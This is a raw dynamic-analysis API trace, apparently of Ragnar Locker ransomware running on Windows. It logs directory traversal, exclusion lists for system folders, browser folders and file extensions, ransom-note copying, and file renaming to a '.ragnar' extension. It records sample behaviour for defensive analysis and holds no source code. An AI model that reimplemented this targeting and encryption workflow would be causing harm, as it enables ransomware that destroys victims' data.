[0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="$Recycle.Bin") returned 1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="ProgramData") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="All Users") returned 1 [0054.744] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0054.744] lstrcpyW (in: lpString1=0x1eb62e, lpString2="fsdefinitions" | out: lpString1="fsdefinitions") returned="fsdefinitions" [0054.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0054.744] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0054.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RGNR_FD7BD9FC.txt" [0054.744] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.751] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*" [0054.751] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0054.751] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.751] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.751] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.751] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.751] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.751] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.751] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2=".") returned 1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2="..") returned 1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2="Windows") returned -1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2="Windows.old") returned -1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2="Tor browser") returned -1 [0054.751] lstrcmpiW (lpString1="auxpad", lpString2="Internet Explorer") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="Google") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="Opera") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="Opera Software") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="Mozilla") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="Mozilla Firefox") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="$Recycle.Bin") returned 1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="ProgramData") returned -1 [0054.752] lstrcmpiW (lpString1="auxpad", lpString2="All Users") returned 1 [0054.752] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0054.752] lstrcpyW (in: lpString1=0x1eab72, lpString2="auxpad" | out: lpString1="auxpad") returned="auxpad" [0054.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" [0054.752] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\" [0054.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RGNR_FD7BD9FC.txt" [0054.752] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.755] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*" [0054.755] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.755] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.755] lstrcpyW (in: lpString1=0x1e9c94, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0054.755] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.755] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.755] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.756] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.756] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2=".") returned 1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="..") returned 1 [0054.756] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.756] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.756] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.756] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0054.756] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0054.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0054.756] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.756] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.756] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.756] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="auxbase.xml" | out: lpString1="auxbase.xml") returned="auxbase.xml" [0054.756] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned=".xml" [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="autorun.inf") returned 1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="boot.ini") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootfont.bin") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootsect.bak") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootmgr") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootmgr.efi") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootmgfw.efi") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="desktop.ini") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="iconcache.db") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="ntldr") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="ntuser.dat") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="ntuser.dat.log") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="ntuser.ini") returned -1 [0054.756] lstrcmpiW (lpString1="auxbase.xml", lpString2="thumbs.db") returned -1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0054.757] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0054.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0054.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.764] CloseHandle (hObject=0xffffffff) returned 0 [0054.764] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" [0054.764] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ragnar_FD7BD9FC" [0054.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.764] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.764] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.764] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.764] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e13880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0054.764] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0054.764] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0054.764] lstrcmpiW (lpString1="auxpad.xml", lpString2=".") returned 1 [0054.764] lstrcmpiW (lpString1="auxpad.xml", lpString2="..") returned 1 [0054.764] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0054.764] lstrcmpiW (lpString1="keypad", lpString2=".") returned 1 [0054.764] lstrcmpiW (lpString1="keypad", lpString2="..") returned 1 [0054.764] lstrcmpiW (lpString1="keypad", lpString2="Windows") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Windows.old") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Tor browser") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Internet Explorer") returned 1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Google") returned 1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Opera") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Opera Software") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Mozilla") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="Mozilla Firefox") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="$Recycle.Bin") returned 1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="ProgramData") returned -1 [0054.765] lstrcmpiW (lpString1="keypad", lpString2="All Users") returned 1 [0054.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0054.765] lstrcpyW (in: lpString1=0x1eab72, lpString2="keypad" | out: lpString1="keypad") returned="keypad" [0054.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" [0054.765] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" [0054.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RGNR_FD7BD9FC.txt" [0054.765] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.767] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*" [0054.767] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0054.767] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.767] lstrcpyW (in: lpString1=0x1e9c94, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e399e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, 